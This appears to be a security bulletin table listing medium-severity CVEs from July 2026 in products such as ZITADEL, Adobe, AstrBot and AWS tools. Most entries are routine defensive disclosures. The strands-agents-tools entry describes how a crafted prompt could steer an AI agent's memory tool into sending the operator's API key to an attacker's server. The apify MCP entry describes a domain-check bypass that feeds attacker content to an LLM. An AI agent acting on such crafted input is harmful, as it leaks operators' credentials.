| zitadel--zitadel           | ZITADEL is an open source identity management platform. Prior to 3.4.12 and 4.15.2, ZITADEL's external JWT Identity Provider validates a token's signature and issuer (iss) but not the audience (aud) claim, allowing a validly signed token from a trusted issuer for another relying party to be accepted by ZITADEL. This issue is fixed in versions 3.4.12 and 4.15.2.                                                                                                                                                                             | 2026-07-10 | 4.2        | <a href="#">CVE-2026-55669</a> |
| zitadel--zitadel           | ZITADEL is an open source identity management platform. Prior to 3.4.12 and 4.15.2, ZITADEL's external JWT Identity Provider validation in internal/idp/providers/jwt/session.go skips the maximum token age freshness check when an incoming token omits the iat claim, allowing arbitrarily old tokens from a trusted issuer to pass authentication. This issue is fixed in versions 3.4.12 and 4.15.2.                                                                                                                                               | 2026-07-10 | 4.2        | <a href="#">CVE-2026-56664</a> |
| zitadel--zitadel           | ZITADEL is an open source identity management platform. Prior to 3.4.12 and 4.15.2, ZITADEL is an open source identity management platform. From 3.0.0-rc.1 through 3.4.11 and from 4.0.0-rc.1 through 4.15.1, ZITADEL's external JWT Identity Provider validation in internal/idp/providers/jwt/session.go skips expiration handling when an incoming token omits the exp claim, allowing a token from a trusted issuer to be treated as valid without an automatic expiration window. This issue is fixed in versions 3.4.12 and 4.15.2.              | 2026-07-10 | 4.2        | <a href="#">CVE-2026-56665</a> |
| zitadel--zitadel           | ZITADEL is an open source identity management platform. Prior to 4.15.3, ZITADEL's external identity provider handler checks that the local user's email is verified but does not verify that the external IdP confirmed ownership of the same email before auto-linking by email, allowing a permissive provider account with a victim email address to be linked to the victim's local account. This issue is fixed in version 4.15.3.                                                                                                                | 2026-07-10 | 4.8        | <a href="#">CVE-2026-56666</a> |
| 1Panel-dev--CordysCRM      | A vulnerability was found in 1Panel-dev CordysCRM up to 1.4.1. This issue affects some unknown processing of the file backend/crm/src/main/java/cn/cordys/crm/integration/sso/service/TokenService.java of the component Third Party Endpoint. Performing a manipulation of the argument mkAddress results in server-side request forgery. The attack may be initiated remotely. The exploit has been made public and could be used. The project closed the issue report, stating that this is not the official way to report a security vulnerability. | 2026-07-19 | 6.3        | <a href="#">CVE-2026-16222</a> |
| 1Panel-dev--CordysCRM      | A vulnerability was determined in 1Panel-dev CordysCRM up to 1.4.1. Impacted is the function getSqlBotSrc of the file backend/crm/src/main/java/cn/cordys/crm/system/service/IntegrationConfigService.java of the component Third Party Edit Endpoint. Executing a manipulation of the argument appSecret can lead to server-side request forgery. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.                                                                                                    | 2026-07-19 | 6.3        | <a href="#">CVE-2026-16223</a> |
| ABB--KNX Update Tool (ABB) | Missing support for integrity check vulnerability in ABB KNX Update Tool (ABB), ABB KNX Update Tool (BJE). This issue affects KNX Update Tool (ABB): through 2.0.175; KNX Update Tool (BJE): through 2.0.175.                                                                                                                                                                                                                                                                                                                                           | 2026-07-17 | 6.4        | <a href="#">CVE-2026-12705</a> |
| Adobe--Adobe Commerce      | Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction.                                                                                                                                                                                          | 2026-07-14 | 5.9        | <a href="#">CVE-2026-47997</a> |
| Adobe--Adobe Commerce      | Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploit depends on                                                                                                                                                                                                                                                                                                  | 2026-07-14 | 5.9        | <a href="#">CVE-2026-47998</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                          | Description                                                                                                                                                                                                                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                    | conditions beyond the attacker's control. Exploitation of this issue does not require user interaction.                                                                                                                                                                                                                                                                                                |            |            |                                |
| Adobe--Adobe Commerce                              | Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field. Scope is changed.                                                                  | 2026-07-14 | 5.4        | <a href="#">CVE-2026-48371</a> |
| Adobe--Adobe Commerce                              | Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a high-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field. Scope is changed.                                                                 | 2026-07-14 | 4.8        | <a href="#">CVE-2026-47999</a> |
| Adobe--Adobe Commerce                              | Adobe Commerce is affected by an Improper Redirect (Open Redirect) vulnerability that could result in a Security feature bypass. An attacker could construct a malicious URL that redirects a victim to an attacker-controlled site, potentially enabling credential theft and account takeover. Exploitation of this issue requires user interaction in that a victim must click on a malicious link. | 2026-07-14 | 4.3        | <a href="#">CVE-2026-48000</a> |
| Adobe--Adobe Experience Manager as a Cloud Service | Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim's browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.                               | 2026-07-14 | 5.4        | <a href="#">CVE-2026-48253</a> |
| Adobe--Adobe Experience Manager as a Cloud Service | Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim's browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.                               | 2026-07-14 | 5.4        | <a href="#">CVE-2026-48254</a> |
| Adobe--Adobe Experience Manager as a Cloud Service | Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim's browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.                               | 2026-07-14 | 5.4        | <a href="#">CVE-2026-48255</a> |
| Adobe--Adobe Experience Manager as a Cloud Service | Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim's browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.                               | 2026-07-14 | 5.4        | <a href="#">CVE-2026-48257</a> |
| Adobe--Adobe Experience Manager as a Cloud Service | Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim's browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.                               | 2026-07-14 | 5.4        | <a href="#">CVE-2026-48260</a> |
| Adobe--Adobe Experience Manager as a Cloud Service | Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim's browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.                               | 2026-07-14 | 5.4        | <a href="#">CVE-2026-48261</a> |
| Adobe--Adobe Experience Manager as a Cloud Service | Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim's browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.                               | 2026-07-14 | 5.4        | <a href="#">CVE-2026-48262</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                          | Description                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Adobe--Adobe Experience Manager as a Cloud Service | Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field. Scope is changed.                                    | 2026-07-14 | 5.4        | <a href="#">CVE-2026-48263</a> |
| Adobe--Adobe Experience Manager as a Cloud Service | Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field. Scope is changed.                                    | 2026-07-14 | 5.4        | <a href="#">CVE-2026-48355</a> |
| Adobe--Adobe Media Encoder                         | Media Encoder is affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                             | 2026-07-14 | 5.5        | <a href="#">CVE-2026-47979</a> |
| Adobe--Audition                                    | Audition is affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                  | 2026-07-14 | 5.5        | <a href="#">CVE-2026-47969</a> |
| Adobe--ColdFusion 2025                             | ColdFusion is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed. | 2026-07-14 | 6.8        | <a href="#">CVE-2026-48338</a> |
| Adobe--Content Credentials Rust SDK                | CAI Content Credentials is affected by an Integer Underflow (Wrap or Wraparound) vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.                                               | 2026-07-14 | 6.2        | <a href="#">CVE-2026-48296</a> |
| Adobe--Content Credentials Rust SDK                | CAI Content Credentials is affected by an Integer Underflow (Wrap or Wraparound) vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.                                               | 2026-07-14 | 6.2        | <a href="#">CVE-2026-48298</a> |
| Adobe--Content Credentials Rust SDK                | CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.                                                            | 2026-07-14 | 6.2        | <a href="#">CVE-2026-48302</a> |
| Adobe--Content Credentials Rust SDK                | CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.                                                                      | 2026-07-14 | 6.8        | <a href="#">CVE-2026-48312</a> |
| Adobe--Content Credentials Rust SDK                | CAI Content Credentials is affected by an Integer Overflow or Wraparound vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.                                                       | 2026-07-14 | 6.2        | <a href="#">CVE-2026-48354</a> |
| Adobe--Content Credentials Rust SDK                | CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.                                       | 2026-07-14 | 6.2        | <a href="#">CVE-2026-48357</a> |
| Adobe--Content Credentials Rust SDK                | CAI Content Credentials is affected by an Improper Input Validation vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access                                                                                                                                | 2026-07-14 | 5.5        | <a href="#">CVE-2026-48353</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                    | scope. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |            |            |                                |
| Adobe--Premiere                    | Premiere Pro is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-14 | 5.9        | <a href="#">CVE-2026-48308</a> |
| aguatechnologies--WP Customer Area | The WP Customer Area plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'type' attribute of the 'customer-area-protected-content' shortcode in all versions up to, and including, 8.3.5. This is due to insufficient input sanitization and output escaping on the shortcode attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-14 | 6.4        | <a href="#">CVE-2026-7640</a>  |
| AkariAsai--self-rag                | A vulnerability was determined in AkariAsai self-rag up to 1fcdc420e48f50a7d7ab1ece5494221b93252e99. Affected by this issue is the function Indexer.deserialize_from of the file retrieval_lm/src/index.py of the component retrieval_lm. Executing a manipulation of the argument index_meta.faiss can lead to deserialization. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-13 | 6.3        | <a href="#">CVE-2026-15535</a> |
| AmauriC--tarteaucitron.js          | tarteaucitron.js is a compliant and accessible cookie banner. Prior to 1.33.0, tarteaucitron.cookie.purge() is called on any element with the purgeBtn class and does not check whether the element is a legitimate tarteaucitron button or whether the cookie corresponds to a service handled by tarteaucitron. If an attacker can write HTML with data attributes, an element with data-cookie can silently delete a non-HttpOnly cookie with a known name when clicked by a user. This issue is fixed in version 1.33.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-17 | 4.3        | <a href="#">CVE-2026-49977</a> |
| Amazon--strands-agents-tools       | Strands Agents is an open-source Python SDK for building and running AI agents. The strands-agents-tools package provides pre-built tools for use with the SDK, including the elasticsearch_memory tool for agent memory storage. We identified CVE-2026-15746, a server-side request forgery (SSRF) issue in the elasticsearch_memory tool. The tool exposed its connection parameters (es_url, cloud_id, api_key) as fields the large language model (LLM) could control through the tool schema. When a caller omitted the api_key parameter, the tool fell back to the operator's ELASTICSEARCH_API_KEY environment variable and sent it to whichever host the LLM specified. A crafted prompt could cause the tool to connect to a threat-actor-controlled server and disclose the operator's Elasticsearch API key in the Authorization header. We recommend you upgrade to strands-agents-tools version 0.7.0 or later. As a precautionary measure, we recommend all operators rotate their ELASTICSEARCH_API_KEY, even if there is no indication the credential was exposed. | 2026-07-15 | 6.5        | <a href="#">CVE-2026-15746</a> |
| andy_moyle--Church Admin           | Missing Authorization vulnerability in andy_moyle Church Admin church-admin allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Church Admin: from n/a through <= 5.0.30.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-13 | 5.3        | <a href="#">CVE-2026-61983</a> |
| antv--layout                       | A weakness has been identified in antv layout 2.0.0. This impacts the function setNestedValue in the library lib/util/object.js. Executing a manipulation of the argument path can lead to improperly controlled modification of object prototype attributes. The attack can be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-13 | 6.3        | <a href="#">CVE-2026-15598</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| apify--apify-mcp-server   | The Apify MCP server enables AI agents to extract data from websites using ready-made scrapers, crawlers, and automation tools available on the Apify Store. Prior to 0.9.21, the fetch-apify-docs tool in src/tools/common/fetch_apify_docs.ts validates allowlisted documentation domains with String.startsWith() rather than URL hostname comparison, allowing attacker-controlled URLs such as `https://docs.apify.com.evil.com/` and `https://docs.apify.com@evil.com/` to pass the ALLOWED_DOC_DOMAINS check and return arbitrary fetched content to the LLM. This issue is fixed in version 0.9.21.           | 2026-07-16 | 6.1        | <a href="#">CVE-2026-46341</a> |
| apolloconfig--apollo      | Apollo is a reliable configuration management system suitable for microservice configuration management scenarios. Prior to 2.5.0, Apollo Portal does not verify application and namespace permissions when an authenticated user requests a release by ID through GET /envs/{env}/releases/{released} while configView.memberOnly.envs is enabled, allowing a low-privileged Portal user who obtains or guesses a valid released to read configuration data from other applications and namespaces without calling UserPermissionValidator.shouldHideConfigToCurrentUser(...). This issue is fixed in version 2.5.0. | 2026-07-15 | 6.5        | <a href="#">CVE-2025-32781</a> |
| AREA 17--Twill CMS        | A vulnerability has been found in AREA 17 Twill CMS up to 3.6.0. The impacted element is the function FileLibraryController::storeFile of the file src/Http/Controllers/Admin/FileLibraryController.php of the component Media Library Insert Page. Such manipulation of the argument qqfilename leads to unrestricted upload. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                | 2026-07-13 | 4.7        | <a href="#">CVE-2026-15518</a> |
| argoproj--argo-cd         | Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 3.2.0 until 3.2.12, 3.3.10, and 3.4.2, Argo CD ServerSideDiff can expose Kubernetes Secret values embedded in the kubectrl.kubernetes.io/last-applied-configuration annotation because HideSecretData(target, live, ...) does not fully sanitize ResourceDiff.TargetState and LiveState predicted live Secret objects, allowing sensitive data, stringData, and annotations to appear in UI or CLI diffs. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.                                                                   | 2026-07-15 | 6.3        | <a href="#">CVE-2026-45737</a> |
| AstrBotDevs--AstrBot      | A vulnerability was detected in AstrBotDevs AstrBot up to 4.25.2. This affects the function update_plugin/update_all_plugins of the file astrbot/dashboard/routes/plugin.py of the component Plugin Update Handler. The manipulation of the argument download_url/download_urls/proxy results in server-side request forgery. The attack may be performed from remote. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                | 2026-07-17 | 6.3        | <a href="#">CVE-2026-16074</a> |
| AstrBotDevs--AstrBot      | A vulnerability has been found in AstrBotDevs AstrBot up to 4.25.5. This issue affects the function OpenApiRoute.chat_send of the file astrbot/dashboard/routes/open_api.py of the component API. Such manipulation of the argument Username leads to authentication bypass by spoofing. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                             | 2026-07-18 | 6.3        | <a href="#">CVE-2026-16076</a> |
| AstrBotDevs--AstrBot      | A vulnerability was found in AstrBotDevs AstrBot up to 4.25.5. Impacted is the function _normalize_rw_path of the file astrbot/core/tools/computer_tools/fs.py of the component Filesystem Computer-Use Tool. Performing a manipulation results in link following. The attack is only possible with local access. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                            | 2026-07-18 | 5.3        | <a href="#">CVE-2026-16077</a> |
| AstrBotDevs--AstrBot      | A flaw has been found in AstrBotDevs AstrBot up to 4.25.5. This vulnerability affects the function OpenApiRoute.get_chat_sessions of the file astrbot/dashboard/routes/open_api.py of the component session-listing Endpoint.                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-18 | 4.3        | <a href="#">CVE-2026-16075</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                     | This manipulation of the argument Username causes authorization bypass. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |            |            |                                |
| AutomationDirect-Productivity Suite | An out-of-bounds read vulnerability in the Productivity Suite allows a local attacker to trigger kernel memory corruption by sending a crafted IOCTL request. This could lead to limited information disclosure or disruption of the affected product.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-16 | 6.1        | <a href="#">CVE-2026-57896</a> |
| AutomationDirect-Productivity Suite | An out-of-bounds read vulnerability in the Productivity Suite allows a local attacker to trigger kernel memory corruption by sending a crafted IOCTL request. This can lead to exposing sensitive information or causing the affected product to become unstable or unavailable.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-16 | 6.1        | <a href="#">CVE-2026-60140</a> |
| AutomationDirect-Productivity Suite | An out-of-bounds read in the Productivity Suite allows a physical attacker to control the length of data sent to a USB device. This can lead to a system crash or disclosure of kernel memory.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-16 | 5.9        | <a href="#">CVE-2026-60073</a> |
| AutomationDirect-Productivity Suite | A divide-by-zero vulnerability in the Productivity Suite allows a local attacker to cause a division by zero leading to a system crash.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-16 | 5.5        | <a href="#">CVE-2026-61378</a> |
| awesto--django-shop                 | A vulnerability was identified in awesto django-shop up to 1.2.4. Affected is an unknown function of the file shop/models/inventory.py of the component Purchase Stock Handler. The manipulation leads to race condition. The attack is possible to be carried out remotely. The attack is considered to have high complexity. The exploitability is told to be difficult. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                          | 2026-07-19 | 4.2        | <a href="#">CVE-2026-16212</a> |
| AWS--aws-athena-query-federation    | Amazon Athena is a serverless, interactive query service that lets you analyze data directly in Amazon S3 using standard SQL. Athena Query Federation is a feature that allows you to connect to data sources outside of Amazon S3 like DynamoDB, Azure Synapse, and custom connectors using standard SQL syntax. Improper neutralization of special elements used in an SQL command in the Synapse connector in Amazon aws-athena-query-federation v2022.20.1 through v2026.19.1 might allow an authenticated remote user to execute injected read-only SQL queries that return unintended data from the connected database via a crafted table name. To remediate this issue, users should upgrade to version v2026.21.1 or later.                                                      | 2026-07-17 | 6.8        | <a href="#">CVE-2026-12283</a> |
| AWS--aws-healthomics-mcp-server     | AWS HealthOmics is a HIPAA-eligible service that fully manages the compute, storage, and workflow engine infrastructure required to run bioinformatics analyses at scale for clinical diagnostics, drug discovery, and agricultural research. Improper limitation of a pathname to a restricted directory in the linting tools of the AWS HealthOmics MCP Server (aws-healthomics-mcp-server) before version 0.0.36 might allow an actor who can influence the MCP agent to write an actor-controlled content to arbitrary locations outside the intended workflow bundle directory, via directory traversal sequences in the workflow_files input. To remediate this issue, users should upgrade to version 0.0.36 or later.                                                             | 2026-07-17 | 5.5        | <a href="#">CVE-2026-15415</a> |
| AWS--bedrock-agentcore              | AWS Bedrock AgentCore Python SDK is an open-source Python library that provides client tools for building AI agents on the Amazon Bedrock AgentCore platform. Unintended logging of sensitive user content in the OpenTelemetry instrumentation in AWS Bedrock AgentCore Python SDK versions 1.4.8 and 1.5.0 might allow a local authenticated user with access to CloudWatch Logs to access raw user prompts and agent responses containing sensitive data via span attributes. The SDK wrote raw user prompts and complete agent responses into OpenTelemetry span attributes on every invocation without filtering or masking. These spans flow into the customer's aws/spans CloudWatch log group, exposing sensitive content to any principal with log read access. We recommend you | 2026-07-16 | 5.7        | <a href="#">CVE-2026-15737</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                   | upgrade to version 1.5.1 or later. Users who ran affected versions should also review and purge sensitive content from their aws/spans CloudWatch log groups.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |            |            |                                |
| bdthemes--Instant Image Generator                 | Server-Side Request Forgery (SSRF) vulnerability in bdthemes Instant Image Generator ai-image allows Server Side Request Forgery.This issue affects Instant Image Generator: from n/a through <= 2.1.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-13 | 6.4        | <a href="#">CVE-2026-57413</a> |
| better-auth--better-icons                         | A vulnerability has been found in better-auth better-icons up to 1.0.5. This vulnerability affects unknown code of the component scan_project_icons/sync_icon. Such manipulation of the argument icons_file leads to path traversal. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                          | 2026-07-13 | 5.3        | <a href="#">CVE-2026-15527</a> |
| bigbluebutton--bigbluebutton                      | BigBlueButton is an open-source virtual classroom. Prior to 3.0.23, the presentation URL validation did not properly restrict access to site local and link local addresses. The redirect following logic now pins resolved IPs. This issue is fixed in version 3.0.23.                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-16 | 6.8        | <a href="#">CVE-2026-46404</a> |
| BlackBerry Ltd--QNX Software Development Platform | Insufficient Parameter Validation in the SchedGet() system call could allow an attacker with local access to cause a crash of the QNX Neutrino kernel.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-14 | 6.2        | <a href="#">CVE-2026-0515</a>  |
| BlackBerry Ltd--QNX Software Development Platform | TOCTOU Race Condition in specific trace commands of the TraceEvent() system call could allow an attacker with local access and with the PROCMGR_AID_TRACE ability, to cause information disclosure, data tampering or a crash of the QNX Neutrino kernel.                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-14 | 6.4        | <a href="#">CVE-2026-4018</a>  |
| blazethemes--News Kit Addons For Elementor        | The News Kit Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Site Logo Title and Single Author Box Widgets in all versions up to, and including, 1.4.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires an attacker to intercept and modify the elementor_ajax AJAX save request in order to bypass the client-side SELECT control restrictions and submit arbitrary tag-name values. | 2026-07-14 | 6.4        | <a href="#">CVE-2026-11390</a> |
| blender--blender                                  | Blender 3.0.0 through 5.1.2 contains an out-of-bounds read vulnerability that allows attackers to trigger a crash or read adjacent heap memory by supplying a crafted .blend file with a malicious signed short member_index value in the SDNA block. The member_index field is used as an array index into the sdna->members[] array in sdna_expand_names() without bounds validation, allowing any value outside the allocated range to produce an invalid pointer subsequently passed to strlen(), resulting in a SIGSEGV crash or unintended heap memory disclosure.                                                                                             | 2026-07-13 | 6.1        | <a href="#">CVE-2026-60103</a> |
| BoldGrid--Client Invoicing by Sprout Invoices     | Missing Authorization vulnerability in BoldGrid Client Invoicing by Sprout Invoices sprout-invoices allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Client Invoicing by Sprout Invoices: from n/a through <= 20.8.13.                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57418</a> |
| bunkerity--bunkerweb                              | bunkerweb is an Open-source and next-generation Web Application Firewall (WAF). From 1.6.2 until 1.6.12, the BunkerWeb web UI BiscuitMiddleware authorization bypass list included the /cache/ URL prefix, so routes in src/ui/app/routes/cache.py protected only by @login_required, including POST /cache/delete, allowed low-privilege read-only reader accounts to permanently delete job cache files containing blacklist, greylist, DNSBL, CrowdSec, GeoIP, ModSecurity CRS, Let's Encrypt, ACME, and custom configuration data. This issue is fixed in version 1.6.12.                                                                                        | 2026-07-16 | 5.4        | <a href="#">CVE-2026-61718</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
